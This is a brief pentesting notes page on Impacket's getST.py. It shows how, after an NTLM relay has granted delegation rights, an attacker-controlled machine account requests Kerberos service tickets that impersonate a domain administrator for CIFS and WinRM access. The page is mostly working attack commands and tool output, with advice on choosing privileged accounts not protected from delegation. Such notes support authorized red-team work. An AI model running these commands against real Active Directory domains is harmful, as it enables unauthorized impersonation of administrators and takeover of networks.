# getst.py
If you've managed to [coerce](/pentesting/Internal/coercer) some creds and done a successful [privesc via relay](/pentesting/Internal/ntlmrelayx) (see the *Escalate privs via relay* section), you might've seen something like this:

```
[*] Servers started, waiting for connections
[*] HTTPD(80): Connection from CLIENT01 controlled, attacking target ldap://192.168.7.7
[*] HTTPD(80): Authenticating against ldap://192.168.7.7 as 7MINSEC/CLIENT01$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] HTTPD(80): Connection from 192.168.7.33 controlled, but there are no more targets left!
[*] Delegation rights modified succesfully!
[*] ATTACKER$ can now impersonate users on CLIENT01$ via S4U2Proxy
```

This is awesome because now you can...

## Request a TGS for the CIFS service on behalf of another user
```
getST.py -impersonate 'administrator' -spn 'cifs/CLIENT01' 'domain.com/MACHINE-OBJECT-YOU-CONTROL'
```

Warning!!! When you do this the tool output might say something like this:

```
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user MACHINE-OBJECT-YOU-CONTROL or initial TGT not forwardable
```

This might be because the user in AD that you're trying to impersonate is configured with the *Account is sensitive and cannot be delegated* setting.  As far as I know the best thing to do is look for a high priv user (check Administrators, Domain Admins, Enterprise Admins) etc. to find an account that *doesn't* have this setting.  

## Request a TGS for the WINRM/WSMAN service on behalf of another user (the key is the *WSMAN* part)
```
getST.py -impersonate administrator -spn 'WSMAN/TT-DEV01.tangent.town' -dc-ip 192.168.10.100 'tangent.town/PHANTOM$' -k -no-pass
```